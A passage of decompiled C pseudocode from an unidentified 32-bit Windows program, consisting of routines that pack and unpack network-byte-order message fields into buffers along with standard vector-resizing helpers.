  }
  return 0;
}

//----- (00404E50) --------------------------------------------------------
int __usercall sub_404E50<eax>(int a1<eax>, int a2<edi>)
{
  int v2; // esi@1
  unsigned int v3; // eax@3
  const void *v4; // eax@5
  size_t v5; // ebx@7
  int v6; // ebx@9
  unsigned int v7; // ebx@11
  __int16 v8; // ax@14
  int v9; // ebx@14
  const void *v10; // eax@17
  int v11; // edx@17
  int v12; // ecx@17
  int v13; // ebx@17
  int v14; // ecx@21
  unsigned int v15; // eax@23
  int v16; // edx@23
  unsigned int v17; // eax@25
  int v18; // ecx@30
  int result; // eax@33
  const void *v20; // eax@35
  int v21; // edx@35
  void *v22; // edx@37
  int v23; // ecx@39
  unsigned int v24; // eax@40
  unsigned int v25; // eax@42
  size_t v26; // eax@47
  int v27; // ST08_4@3
  int v28; // ecx@7
  int v29; // edx@9
  int v30; // eax@11
  int v31; // ecx@13
  __int16 v32; // cx@16
  __int16 v33; // ax@16
  int v34; // ecx@16
  int v35; // eax@24
  int v36; // ecx@33
  signed int v37; // edx@33
  unsigned int v38; // eax@33
  char v39; // zf@33
  int v40; // edx@40
  int v41; // eax@47
  char v42; // zf@47
  int v43; // edx@50
  int v44; // eax@50
  u_short v45; // ax@50
  int v46; // edx@50
  int v47; // edx@50
  int v48; // ecx@50
  int v49; // ebx@50
  int v50; // [sp+8h] [bp-14h]@7
  unsigned int v51; // [sp+18h] [bp-4h]@9
  int v52; // [sp+10h] [bp-Ch]@13
  int v53; // [sp+Ch] [bp-10h]@19
  int v54; // [sp+14h] [bp-8h]@37

  v2 = a1;
  if ( (unsigned int)(*(_DWORD *)(a1 + 4) - *(_DWORD *)a1) < 2 )
    sub_405670(2u, a1);
  v27 = *(_DWORD *)(a2 + 20);
  *(_WORD *)a2 = *(_DWORD *)(a2 + 20);
  **(_WORD **)v2 = htons(v27);
  v3 = *(_WORD *)a2 + 2;
  if ( *(_DWORD *)(v2 + 4) - *(_DWORD *)v2 < v3 )
    sub_405670(v3, v2);
  v4 = (const void *)(a2 + 4);
  if ( *(_DWORD *)(a2 + 24) >= 0x10u )
    v4 = *(const void **)v4;
  memcpy((void *)(*(_DWORD *)v2 + 2), v4, *(_WORD *)a2);
  v5 = *(_WORD *)a2;
  v28 = *(_DWORD *)(v2 + 4) - *(_DWORD *)v2;
  v50 = v5 + 4;
  if ( v28 < v5 + 4 )
    sub_405670(v5 + 4, v2);
  *(_WORD *)(v5 + *(_DWORD *)v2 + 2) = htons(*(_WORD *)(a2 + 32));
  v29 = *(_DWORD *)(v2 + 4) - *(_DWORD *)v2;
  v51 = v50;
  v6 = v50 + 2;
  if ( v29 < (unsigned int)(v50 + 2) )
    sub_405670(v50 + 2, v2);
  *(_WORD *)(v51 + *(_DWORD *)v2) = htons(*(_WORD *)(a2 + 34));
  v30 = *(_DWORD *)(v2 + 4) - *(_DWORD *)v2;
  v51 = v6;
  v7 = v6 + 2;
  if ( v30 < v7 )
    sub_405670(v7, v2);
  *(_WORD *)(v51 + *(_DWORD *)v2) = htons(*(_WORD *)(a2 + 36));
  *(_WORD *)(a2 + 38) = 0;
  v31 = *(_DWORD *)(a2 + 44) - *(_DWORD *)(a2 + 40);
  v52 = 0;
  v51 = v7;
  if ( ((signed int)((unsigned __int64)(1717986919i64 * v31) >> 32) >> 3)
     + ((unsigned int)((unsigned __int64)(1717986919i64 * v31) >> 32) >> 31) )
  {
    v8 = 0;
    v9 = *(_DWORD *)(a2 + 40) + 4;
    while ( 1 )
    {
      v32 = *(_WORD *)(v9 + 4) - *(_WORD *)v9;
      ++v52;
      v33 = v32 + 4 + v8;
      *(_WORD *)(a2 + 38) = v33;
      v34 = *(_DWORD *)(a2 + 44) - *(_DWORD *)(a2 + 40);
      LOWORD(v50) = v33;
      v9 += 20;
      if ( v52 >= ((signed int)((unsigned __int64)(1717986919i64 * v34) >> 32) >> 3)
                + ((unsigned int)((unsigned __int64)(1717986919i64 * v34) >> 32) >> 31) )
        break;
      v8 = v50;
    }
  }
  v10 = *(const void **)(v2 + 4);
  v12 = *(_DWORD *)v2;
  v11 = (int)((char *)v10 - *(_DWORD *)v2);
  v13 = v51 + 2;
  if ( v51 + 2 > v11 )
  {
    if ( v51 + 2 >= v11 )
    {
      v14 = *(_DWORD *)v2 + v13 - (_DWORD)v10;
      if ( -1 - v14 < (unsigned int)v11 )
LABEL_22:
        std___Xlength_error("vector<T> too long");
      v15 = *(_DWORD *)(v2 + 8) - *(_DWORD *)v2;
      v16 = v14 + v11;
      if ( v16 > v15 )
      {
        v50 = *(_DWORD *)(v2 + 8) - *(_DWORD *)v2;
        v35 = v15 >> 1;
        v53 = v35;
        if ( -1 - v35 >= (unsigned int)v50 )
          v17 = v53 + v50;
        else
          v17 = 0;
        if ( v17 < v16 )
          v17 = v16;
        sub_405D20(v2, v17);
      }
      v18 = *(_DWORD *)(v2 + 4);
      if ( *(_DWORD *)v2 + v13 - v18 )
        memset(*(void **)(v2 + 4), 0, *(_DWORD *)v2 + v13 - v18);
      *(_DWORD *)(v2 + 4) = v13 + *(_DWORD *)v2;
    }
    else
    {
      v53 = v13 + v12;
      if ( v13 + v12 != (_DWORD)v10 )
      {
        v50 = 0;
        memmove((void *)(v13 + v12), v10, 0);
        *(_DWORD *)(v2 + 4) = v53;
      }
    }
  }
  *(_WORD *)(v51 + *(_DWORD *)v2) = htons(*(_WORD *)(a2 + 38));
  v36 = *(_DWORD *)(a2 + 44) - *(_DWORD *)(a2 + 40);
  v37 = (signed int)((unsigned __int64)(1717986919i64 * v36) >> 32) >> 3;
  v51 = v13;
  v38 = (unsigned int)((unsigned __int64)(1717986919i64 * v36) >> 32) >> 31;
  v39 = v37 + v38 == 0;
  result = v37 + v38;
  v50 = 0;
  if ( !v39 )
  {
    v53 = 0;
    do
    {
      v13 = v53 + *(_DWORD *)(a2 + 40);
      v52 = *(_DWORD *)(v13 + 8) - *(_DWORD *)(v13 + 4) + v51 + 4;
      v20 = *(const void **)(v2 + 4);
      v21 = *(_DWORD *)(v2 + 4) - *(_DWORD *)v2;
      if ( v52 > (unsigned int)v21 )
      {
        if ( v52 >= (unsigned int)v21 )
        {
          v23 = v52 + *(_DWORD *)v2 - (_DWORD)v20;
          if ( -1 - v23 < (unsigned int)v21 )
            goto LABEL_22;
          v24 = *(_DWORD *)(v2 + 8) - *(_DWORD *)v2;
          v40 = v23 + v21;
          v54 = v40;
          if ( v40 > v24 )
          {
            if ( -1 - (v24 >> 1) >= v24 )
              v25 = (v24 >> 1) + v24;
            else
              v25 = 0;
            if ( v25 < v54 )
              v25 = v54;
            sub_405D20(v2, v25);
          }
          v41 = *(_DWORD *)v2 - *(_DWORD *)(v2 + 4);
          v42 = v52 + v41 == 0;
          v26 = v52 + v41;
          if ( !v42 )
            memset(*(void **)(v2 + 4), 0, v26);
          *(_DWORD *)(v2 + 4) = v52 + *(_DWORD *)v2;
        }
        else
        {
          v22 = (void *)(v52 + *(_DWORD *)v2);
          v54 = v52 + *(_DWORD *)v2;
          if ( v22 != v20 )
          {
            v52 = 0;
            memmove(v22, v20, 0);
            *(_DWORD *)(v2 + 4) = v54;
          }
        }
      }
      v43 = htons(*(_WORD *)v13);
      v44 = *(_DWORD *)(v13 + 8) - *(_DWORD *)(v13 + 4);
      v52 = v43;
      v45 = htons(v44);
      v46 = *(_DWORD *)v2;
      v54 = v45;
      *(_WORD *)(v51 + v46) = v52;
      *(_WORD *)(*(_DWORD *)v2 + v51 + 2) = v54;
      memcpy((void *)(*(_DWORD *)v2 + v51 + 4), *(const void **)(v13 + 4), *(_DWORD *)(v13 + 8) - *(_DWORD *)(v13 + 4));
      v47 = v51 + *(_DWORD *)(v53 + *(_DWORD *)(a2 + 40) + 8) - *(_DWORD *)(v53 + *(_DWORD *)(a2 + 40) + 4) + 4;
      v53 += 20;
      v48 = *(_DWORD *)(a2 + 44) - *(_DWORD *)(a2 + 40);
      v51 = v47;
      v49 = v50 + 1;
      result = ((signed int)((unsigned __int64)(1717986919i64 * v48) >> 32) >> 3)
             + ((unsigned int)((unsigned __int64)(1717986919i64 * v48) >> 32) >> 31);
      ++v50;
    }
    while ( v49 < (unsigned int)result );
  }
  return result;
}

//----- (00405240) --------------------------------------------------------
char __usercall sub_405240<al>(int a1<ecx>, int a2<esi>)
{
  int v2; // eax@1
  int v3; // ebx@1
  int v4; // ecx@3
  int v5; // edi@3
  int v7; // ebx@9
  int v8; // ecx@15
  int v9; // ecx@1
  u_short v10; // ax@3
  u_short v11; // ax@3
  u_long v12; // edi@5
  int v13; // ecx@13
  int v14; // eax@13
  int  s; // [sp+5Ch] [bp+0h]@1
  unsigned int v16; // [sp+4Ch] [bp-10h]@1
  int v17; // [sp+10h] [bp-4Ch]@1
  int v18; // [sp+Ch] [bp-50h]@3
  signed int v19; // [sp+2Ch] [bp-30h]@8
  int v20; // [sp+28h] [bp-34h]@8
  int v21; // [sp+18h] [bp-44h]@8
  int v22; // [sp+3Ch] [bp-20h]@8
  int v23; // [sp+40h] [bp-1Ch]@8
  int v24; // [sp+44h] [bp-18h]@8
  signed int v25; // [sp+58h] [bp-4h]@8
  unsigned __int16 v26; // [sp+14h] [bp-48h]@8
  __int16 v27; // [sp+3Ah] [bp-22h]@9

  v16 = (unsigned int)& s ^ dword_426018;
  v3 = a1;
  v2 = *(_DWORD *)a1;
  v9 = *(_DWORD *)(a1 + 4) - *(_DWORD *)a1;
  v17 = v3;
  if ( (unsigned int)v9 >= 1 )
  {
    *(_BYTE *)a2 = *(_BYTE *)v2;
    if ( (unsigned int)(*(_DWORD *)(v3 + 4) - *(_DWORD *)v3) >= 3 )
    {
      v10 = *(_WORD *)(*(_DWORD *)v3 + 1);
      *(_WORD *)(a2 + 2) = v10;
      v11 = htons_0(v10);
      v4 = 0;
      *(_WORD *)(a2 + 2) = v11;
      v5 = 3;
      v18 = 0;
      if ( v11 > 0u )
      {
        while ( 1 )
        {
          v19 = 15;
          v20 = v4;
          LOBYTE(v21) = v4;
          v22 = v4;
          v23 = v4;
          v24 = v4;
          v25 = v4;
          if ( !sub_404C50((int)&v26, v3, v5) )
            break;
          sub_4058F0((int)&v26, a2 + 8);
          v5 += v26 + v27 + 10;
          v25 = -1;
          v7 = 0;
          if ( v22 )
          {
            sub_4061B0(v22, v23);
            operator delete(v22);
            v7 = 0;
          }
          v22 = v7;
          v23 = v7;
          v24 = v7;
          if ( (unsigned int)v19 >= 0x10 )
            operator delete(v21);
          v13 = *(_WORD *)(a2 + 2);
          v14 = v18 + 1;
          v20 = v7;
          LOBYTE(v21) = v7;
          v3 = v17;
          v19 = 15;
          ++v18;
          if ( v14 >= v13 )
            goto LABEL_4;
          v4 = 0;
        }
        v8 = 0;
        if ( v22 )
        {
          sub_4061B0(v22, v23);
          operator delete(v22);
          v8 = 0;
        }
        v22 = v8;
        v23 = v8;
        v24 = v8;
        if ( (unsigned int)v19 >= 0x10 )
          operator delete(v21);
      }
      else
      {
LABEL_4:
        if ( *(_DWORD *)(v3 + 4) - *(_DWORD *)v3 >= (unsigned int)(v5 + 4) )
        {
          v12 = *(_DWORD *)(*(_DWORD *)v3 + v5);
          *(_DWORD *)(a2 + 4) = v12;
          *(_DWORD *)(a2 + 4) = htonl(v12);
          return 1;
        }
      }
    }
  }
  return 0;
}

//----- (00405400) --------------------------------------------------------
char __usercall sub_405400<al>(int a1<edi>, int a2<esi>)
{
  char result; // al@2
  u_short v3; // ax@3
  u_long v4; // ST00_4@3
  u_short v5; // ST00_2@3
  u_short v6; // ST00_2@3
  u_short v7; // ST00_2@3
  u_short v8; // ST00_2@3

  if ( (unsigned int)(*(_DWORD *)(a1 + 4) - *(_DWORD *)a1) >= 0x10 )
  {
    v3 = **(_WORD **)a1;
    *(_WORD *)a2 = v3;
    *(_WORD *)a2 = htons_0(v3);
    v4 = *(_DWORD *)(*(_DWORD *)a1 + 2);
    *(_DWORD *)(a2 + 4) = *(_DWORD *)(*(_DWORD *)a1 + 2);
    *(_DWORD *)(a2 + 4) = htonl(v4);
    v5 = *(_WORD *)(*(_DWORD *)a1 + 6);
    *(_WORD *)(a2 + 8) = *(_WORD *)(*(_DWORD *)a1 + 6);
    *(_WORD *)(a2 + 8) = htons_0(v5);
    v6 = *(_WORD *)(*(_DWORD *)a1 + 8);
    *(_WORD *)(a2 + 10) = *(_WORD *)(*(_DWORD *)a1 + 8);
    *(_WORD *)(a2 + 10) = htons_0(v6);
    v7 = *(_WORD *)(*(_DWORD *)a1 + 10);
    *(_WORD *)(a2 + 12) = *(_WORD *)(*(_DWORD *)a1 + 10);
    *(_WORD *)(a2 + 12) = htons_0(v7);
    v8 = *(_WORD *)(*(_DWORD *)a1 + 12);
    *(_WORD *)(a2 + 14) = *(_WORD *)(*(_DWORD *)a1 + 12);
    *(_WORD *)(a2 + 14) = htons_0(v8);
    result = 1;
  }
  else
  {
    result = 0;
  }
  return result;
}

//----- (00405480) --------------------------------------------------------
char __usercall sub_405480<al>(int a1<eax>, int a2<edi>)
{
  int v2; // esi@1
  char result; // al@3

  v2 = a1;
  if ( (unsigned int)(*(_DWORD *)(a1 + 4) - *(_DWORD *)a1) < 0x10 )
    sub_405670(0x10u, a1);
  **(_WORD **)v2 = htons(*(_WORD *)a2);
  *(_DWORD *)(*(_DWORD *)v2 + 2) = htonl_0(*(_DWORD *)(a2 + 4));
  *(_WORD *)(*(_DWORD *)v2 + 6) = htons(*(_WORD *)(a2 + 8));
  *(_WORD *)(*(_DWORD *)v2 + 8) = htons(*(_WORD *)(a2 + 10));
  *(_WORD *)(*(_DWORD *)v2 + 10) = htons(*(_WORD *)(a2 + 12));
  *(_WORD *)(*(_DWORD *)v2 + 12) = htons(*(_WORD *)(a2 + 14));
  result = 0;
  *(_BYTE *)(*(_DWORD *)v2 + 14) = 0;
  *(_BYTE *)(*(_DWORD *)v2 + 15) = 0;
  return result;
}

//----- (00405510) --------------------------------------------------------
int __userpurge sub_405510<eax>(int a1<eax>, int a2<ebx>, int a3<esi>, int a4)
{
  int v4; // ST00_4@1
  int v5; // eax@1

  v4 = a1;
  v5 = a4;
  *(_DWORD *)(a3 + 20) = 15;
  *(_DWORD *)(a3 + 16) = 0;
  *(_BYTE *)a3 = 0;
  sub_401600(a3, v5, a2, v4);
  return a3;
}

//----- (00405540) --------------------------------------------------------
int __fastcall sub_405540(int a1, int a2, int a3, int a4)
{
  return sub_4059A0(a4, a3, a2, strlen((const char *)a2));
}

//----- (00405570) --------------------------------------------------------
int __usercall sub_405570<eax>(int a1<eax>, int a2<ecx>)
{
  int v2; // ebx@1
  int v3; // esi@1
  const void *v4; // eax@2
  int v5; // edx@2
  void *v6; // ebx@3
  void *v8; // ecx@5
  int v9; // edx@2
  int v10; // edi@5
  char *v11; // edx@8
  void *Src; // [sp+8h] [bp-8h]@5

  v2 = a1;
  v3 = a2;
  if ( a2 != a1 )
  {
    v9 = *(_DWORD *)(a1 + 4);
    v4 = *(const void **)a1;
    v5 = v9 - *(_DWORD *)v2;
    if ( v5 )
    {
      v8 = *(void **)a2;
      v10 = *(_DWORD *)(v3 + 4) - *(_DWORD *)v3;
      Src = (void *)(*(_DWORD *)(v3 + 4) - *(_DWORD *)v3);
      if ( v5 <= (unsigned int)v10 )
      {
        memmove(v8, v4, *(_DWORD *)(v2 + 4) - (_DWORD)v4);
        *(_DWORD *)(v3 + 4) = *(_DWORD *)v3 + *(_DWORD *)(v2 + 4) - *(_DWORD *)v2;
        return v3;
      }
      if ( v5 <= (unsigned int)(*(_DWORD *)(v3 + 8) - (_DWORD)v8) )
      {
        v11 = (char *)((_DWORD)v4 + (_DWORD)Src);
        Src = (void *)((_DWORD)v4 + (_DWORD)Src);
        memmove(v8, v4, v11 - v4);
        *(_DWORD *)(v3 + 4) = (char *)memmove(*(void **)(v3 + 4), Src, *(_DWORD *)(v2 + 4) - (_DWORD)Src)
                            + *(_DWORD *)(v2 + 4)
                            - (_DWORD)Src;
        return v3;
      }
      if ( v8 )
        operator delete(v8);
      if ( sub_405A90(*(_DWORD *)(v2 + 4) - *(_DWORD *)v2, v3) )
        *(_DWORD *)(v3 + 4) = (char *)memmove(*(void **)v3, *(const void **)v2, *(_DWORD *)(v2 + 4) - *(_DWORD *)v2)
                            + *(_DWORD *)(v2 + 4)
                            - *(_DWORD *)v2;
    }
    else
    {
      v6 = *(void **)a2;
      if ( *(_DWORD *)a2 != *(_DWORD *)(a2 + 4) )
      {
        memmove(*(void **)a2, *(const void **)(a2 + 4), 0);
        *(_DWORD *)(v3 + 4) = v6;
        return v3;
      }
    }
  }
  return v3;
}

//----- (00405670) --------------------------------------------------------
void *__usercall sub_405670<eax>(unsigned int a1<eax>, int a2<esi>)
{
  void *result; // eax@1
  int v3; // edx@1
  int v4; // ecx@1
  unsigned int v5; // edi@1
  void *v6; // ebx@2
  size_t v7; // eax@6
  int v8; // eax@6
  char v9; // zf@6

  v4 = *(_DWORD *)a2;
  v5 = a1;
  result = *(void **)(a2 + 4);
  v3 = (int)((char *)result - *(_DWORD *)a2);
  if ( v3 <= v5 )
  {
    if ( v3 < v5 )
    {
      sub_405AD0(a2, v5 + v4 - (_DWORD)result);
      v8 = *(_DWORD *)a2 - *(_DWORD *)(a2 + 4);
      v9 = v5 + v8 == 0;
      v7 = v5 + v8;
      if ( !v9 )
        memset(*(void **)(a2 + 4), 0, v7);
      result = (void *)(v5 + *(_DWORD *)a2);
      *(_DWORD *)(a2 + 4) = v5 + *(_DWORD *)a2;
    }
  }
  else
  {
    v6 = (void *)(v4 + v5);
    if ( v4 + v5 != (_DWORD)result )
    {
      result = memmove(v6, result, 0);
      *(_DWORD *)(a2 + 4) = v6;
    }
  }
  return result;
}

//----- (004056D0) --------------------------------------------------------
int __usercall sub_4056D0<eax>(unsigned int a1<ecx>, int a2<edi>)
{
  unsigned int v2; // ecx@1
  unsigned int v3; // esi@1
  unsigned int v4; // esi@3
  int result; // eax@5
  int v6; // ecx@5
  int v7; // ecx@6
  signed int v8; // [sp+10h] [bp-4h]@5

  v3 = a1;
  v2 = *(_DWORD *)(a2 + 4);
  if ( v3 >= v2 || *(_DWORD *)a2 > v3 )
  {
    if ( v2 == *(_DWORD *)(a2 + 8) )
      sub_405BF0(a2);
    result = *(_DWORD *)(a2 + 4);
    v8 = 1;
    if ( result )
    {
      *(_WORD *)result = *(_WORD *)v3;
      v7 = v3 + 4;
      goto LABEL_11;
    }
  }
  else
  {
    v4 = ((signed int)((unsigned __int64)(1717986919i64 * (signed int)(v3 - *(_DWORD *)a2)) >> 32) >> 3)
       + ((unsigned int)((unsigned __int64)(1717986919i64 * (signed int)(v3 - *(_DWORD *)a2)) >> 32) >> 31);
    if ( v2 == *(_DWORD *)(a2 + 8) )
      sub_405BF0(a2);
    v6 = *(_DWORD *)a2 + 20 * v4;
    result = *(_DWORD *)(a2 + 4);
    v8 = 0;
    if ( result )
    {
      *(_WORD *)result = *(_WORD *)v6;
      v7 = v6 + 4;
LABEL_11:
      result = sub_4061F0(v7, result + 4);
      goto LABEL_12;
    }
  }
LABEL_12:
  *(_DWORD *)(a2 + 4) += 20;
  return result;
}

//----- (00405790) --------------------------------------------------------
int __userpurge sub_405790<eax>(int result<eax>, int a2)
{
  int v2; // edi@1
  int v3; // esi@1
  int v4; // ecx@2
  unsigned int v5; // ebx@4
  signed int v6; // edx@2
  unsigned int v7; // eax@2
  int v8; // eax@5
  int v9; // ebx@7
  int v10; // [sp+8h] [bp-4h]@2

  v2 = a2;
  v3 = result;
  if ( result != a2 )
  {
    v4 = *(_DWORD *)result;
    v6 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(a2 + 4) - *(_DWORD *)a2)) >> 32) >> 3;
    v7 = (unsigned int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(a2 + 4) - *(_DWORD *)a2)) >> 32) >> 31;
    v10 = v6 + v7;
    if ( v6 + v7 )
    {
      v5 = ((signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(v3 + 4) - v4)) >> 32) >> 3)
         + ((unsigned int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(v3 + 4) - v4)) >> 32) >> 31);
      if ( v10 > v5 )
      {
        if ( v10 > ((signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(v3 + 8) - v4)) >> 32) >> 3)
                 + ((unsigned int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(v3 + 8) - v4)) >> 32) >> 31) )
        {
          if ( v4 )
          {
            sub_4061B0(v4, *(_DWORD *)(v3 + 4));
            operator delete(*(_DWORD *)v3);
          }
          if ( sub_405BB0(
                 ((signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(v2 + 4) - *(_DWORD *)v2)) >> 32) >> 3)
               + ((unsigned int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(v2 + 4) - *(_DWORD *)v2)) >> 32) >> 31),
                 v3) )
            *(_DWORD *)(v3 + 4) = sub_406530(*(_DWORD *)a2, *(_DWORD *)(a2 + 4), *(_DWORD *)v3);
          result = v3;
        }
        else
        {
          v9 = *(_DWORD *)a2 + 20 * v5;
          sub_406170(v4, *(_DWORD *)a2, v9);
          *(_DWORD *)(v3 + 4) = sub_406530(v9, *(_DWORD *)(v2 + 4), *(_DWORD *)(v3 + 4));
          result = v3;
        }
      }
      else
      {
        v8 = sub_406170(v4, *(_DWORD *)a2, *(_DWORD *)(a2 + 4));
        sub_4061B0(v8, *(_DWORD *)(v3 + 4));
        *(_DWORD *)(v3 + 4) = *(_DWORD *)v3
                            + 20
                            * (((signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(v2 + 4) - *(_DWORD *)v2)) >> 32) >> 3)
                             + ((unsigned int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(v2 + 4) - *(_DWORD *)v2)) >> 32) >> 31));
        result = v3;
      }
    }
    else
    {
      sub_405B50(v3, (int)&a2, v4, *(_DWORD *)(v3 + 4));
      result = v3;
    }
  }
  return result;
}

//----- (004058F0) --------------------------------------------------------
int __usercall sub_4058F0<eax>(int a1<ecx>, int a2<ebx>)
{
  unsigned int v2; // ecx@1
  int v3; // edi@1
  unsigned int v4; // esi@3
  int result; // eax@5
  signed int v6; // [sp+14h] [bp-4h]@5

  v3 = a1;
  v2 = *(_DWORD *)(a2 + 4);
  if ( v3 >= v2 || *(_DWORD *)a2 > (unsigned int)v3 )
  {
    if ( v2 == *(_DWORD *)(a2 + 8) )
      sub_405CA0(a2);
    result = *(_DWORD *)(a2 + 4);
    v6 = 1;
  }
  else
  {
    v4 = ((signed int)(v3 - *(_DWORD *)a2 + ((unsigned __int64)(-1840700269i64 * (v3 - *(_DWORD *)a2)) >> 32)) >> 5)
       + ((unsigned int)(v3 - *(_DWORD *)a2 + ((unsigned __int64)(-1840700269i64 * (v3 - *(_DWORD *)a2)) >> 32)) >> 31);
    if ( v2 == *(_DWORD *)(a2 + 8) )
      sub_405CA0(a2);
    v3 = *(_DWORD *)a2 + 56 * v4;
    result = *(_DWORD *)(a2 + 4);
    v6 = 0;
  }
  if ( result )
    result = sub_406390(v3, result);
  *(_DWORD *)(a2 + 4) += 56;
  return result;
}

//----- (004059A0) --------------------------------------------------------
int __userpurge sub_4059A0<eax>(int result<eax>, int a2, int a3, unsigned int a4)
{
  int v4; // ecx@1
  unsigned int v5; // edi@3
  int v6; // edi@4
  size_t v7; // edi@5
  int v8; // ebx@7
  int v9; // esi@7
  int v10; // ecx@12
  void *v11; // eax@7
  void *v12; // eax@9

  v4 = a2;
  if ( a4 || (unsigned int)result > *(_DWORD *)(a2 + 16) )
  {
    v5 = *(_DWORD *)(a2 + 16);
    if ( result >= v5 )
      goto LABEL_10;
    v6 = v5 - result;
    if ( a4 > v6 )
      goto LABEL_10;
    v7 = 1 - a4 + v6;
    if ( *(_DWORD *)(a2 + 20) >= 0x10u )
      v4 = *(_DWORD *)a2;
    v8 = v4 + result;
    v11 = memchr((const void *)(v4 + result), *(_BYTE *)a3, v7);
    v9 = (int)v11;
    if ( v11 )
    {
      while ( sub_401F10(a4, v9, a3) )
      {
        v7 = v7 + v8 - v9 - 1;
        v8 = v9 + 1;
        v12 = memchr((const void *)(v9 + 1), *(_BYTE *)a3, v7);
        v9 = (int)v12;
        if ( !v12 )
          goto LABEL_10;
      }
      v10 = a2;
      if ( *(_DWORD *)(a2 + 20) >= 0x10u )
        v10 = *(_DWORD *)a2;
      result = v9 - v10;
    }
    else
    {
LABEL_10:
      result = -1;
    }
  }
  return result;
}

//----- (00405A50) --------------------------------------------------------
int __userpurge sub_405A50<eax>(int a1<ebx>, int a2, void *Dst, void *Src)
{
  void *v4; // eax@1
  void *v5; // ecx@1
  int result; // eax@2
  int v7; // esi@2
  void *v8; // edi@2

  v4 = Dst;
  v5 = Src;
  *(_DWORD *)a2 = Dst;
  if ( v4 == v5 )
  {
    result = a2;
  }
  else
  {
    v7 = *(_DWORD *)(a1 + 4) - (_DWORD)v5;
    v8 = v4;
    memmove(v4, v5, *(_DWORD *)(a1 + 4) - (_DWORD)v5);
    result = a2;
    *(_DWORD *)(a1 + 4) = (char *)v8 + v7;
  }
  return result;
}

//----- (00405A90) --------------------------------------------------------
char __usercall sub_405A90<al>(unsigned int a1<edi>, int a2<esi>)
{
  char result; // al@2
  int v3; // eax@5

  *(_DWORD *)a2 = 0;
  *(_DWORD *)(a2 + 4) = 0;
  *(_DWORD *)(a2 + 8) = 0;
  if ( a1 )
  {
    if ( a1 > 0xFFFFFFFF )
      std___Xlength_error("vector<T> too long");
    v3 = sub_405DA0(a1);
    *(_DWORD *)a2 = v3;
    *(_DWORD *)(a2 + 4) = v3;
    *(_DWORD *)(a2 + 8) = a1 + v3;
    result = 1;
  }
  else
  {
    result = 0;
  }
  return result;
}

//----- (00405AD0) --------------------------------------------------------
int __usercall sub_405AD0<eax>(int a1<eax>, int a2<ecx>)
{
  int v2; // eax@1
  int v3; // edx@1
  int v4; // esi@1
  int result; // eax@3
  unsigned int v6; // ecx@3
  unsigned int v7; // ecx@5

  v4 = a1;
  v3 = *(_DWORD *)a1;
  v2 = *(_DWORD *)(a1 + 4) - *(_DWORD *)a1;
  if ( -1 - a2 < (unsigned int)v2 )
    v2 = std___Xlength_error("vector<T> too long");
  result = a2 + v2;
  v6 = *(_DWORD *)(v4 + 8) - v3;
  if ( result > v6 )
  {
    if ( -1 - (v6 >> 1) >= v6 )
      v7 = (v6 >> 1) + v6;
    else
      v7 = 0;
    if ( v7 < result )
      v7 = result;
    result = sub_405D20(v4, v7);
  }
  return result;
}

//----- (00405B20) --------------------------------------------------------
int __usercall sub_405B20<eax>(int a1<esi>)
{
  int result; // eax@1

  result = *(_DWORD *)a1;
  if ( *(_DWORD *)a1 )
    result = operator delete(*(_DWORD *)a1);
  *(_DWORD *)a1 = 0;
  *(_DWORD *)(a1 + 4) = 0;
  *(_DWORD *)(a1 + 8) = 0;
  return result;
}

//----- (00405B50) --------------------------------------------------------
int __stdcall sub_405B50(int a1, int a2, int a3, int a4)
{
  int result; // eax@1
  int v5; // edi@1
  int v6; // esi@1
  int i; // ebx@2

  result = a2;
  v6 = a4;
  v5 = a3;
  *(_DWORD *)a2 = a3;
  if ( v5 != v6 )
  {
    for ( i = *(_DWORD *)(a1 + 4); v6 != i; v5 += 20 )
    {
      *(_WORD *)v5 = *(_WORD *)v6;
      sub_405570(v6 + 4, v5 + 4);
      v6 += 20;
    }
    sub_4061B0(v5, *(_DWORD *)(a1 + 4));
    *(_DWORD *)(a1 + 4) = v5;
    result = a2;
  }
  return result;
}

//----- (00405BB0) --------------------------------------------------------
char __usercall sub_405BB0<al>(unsigned int a1<edi>, int a2<esi>)
{
  char result; // al@2
  int v3; // eax@5

  *(_DWORD *)a2 = 0;
  *(_DWORD *)(a2 + 4) = 0;
  *(_DWORD *)(a2 + 8) = 0;
  if ( a1 )
  {
    if ( a1 > 0xCCCCCCC )
      std___Xlength_error("vector<T> too long");
    v3 = sub_405EF0(a1);
    *(_DWORD *)a2 = v3;
    *(_DWORD *)(a2 + 4) = v3;
    *(_DWORD *)(a2 + 8) = v3 + 20 * a1;
    result = 1;
  }
  else
  {
    result = 0;
  }
  return result;
}

//----- (00405BF0) --------------------------------------------------------
unsigned int __fastcall sub_405BF0(int a1)
{
  int v1; // edi@1
  unsigned int v2; // esi@1
  unsigned int result; // eax@3
  int v4; // esi@3
  unsigned int v5; // eax@5

  v1 = *(_DWORD *)a1;
  v2 = ((signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(a1 + 4) - *(_DWORD *)a1)) >> 32) >> 3)
     + ((unsigned int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(a1 + 4) - *(_DWORD *)a1)) >> 32) >> 31);
  if ( v2 > 0xCCCCCCB )
    std___Xlength_error("vector<T> too long");
  v4 = v2 + 1;
  result = ((signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(a1 + 8) - v1)) >> 32) >> 3)
         + ((unsigned int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(a1 + 8) - v1)) >> 32) >> 31);
  if ( v4 > result )
  {
    if ( 214748364 - (result >> 1) >= result )
      v5 = (result >> 1) + result;
    else
      v5 = 0;
    if ( v5 < v4 )
      v5 = v4;
    result = sub_405DF0(a1, v5);
  }
  return result;
}

//----- (00405CA0) --------------------------------------------------------
unsigned int __fastcall sub_405CA0(int a1)
{
  int v1; // ebx@1
  unsigned int v2; // esi@1
  unsigned int result; // eax@3
  int v4; // esi@3
  unsigned int v5; // eax@5

  v1 = *(_DWORD *)a1;
  v2 = ((signed int)(*(_DWORD *)(a1 + 4)
                   - *(_DWORD *)a1
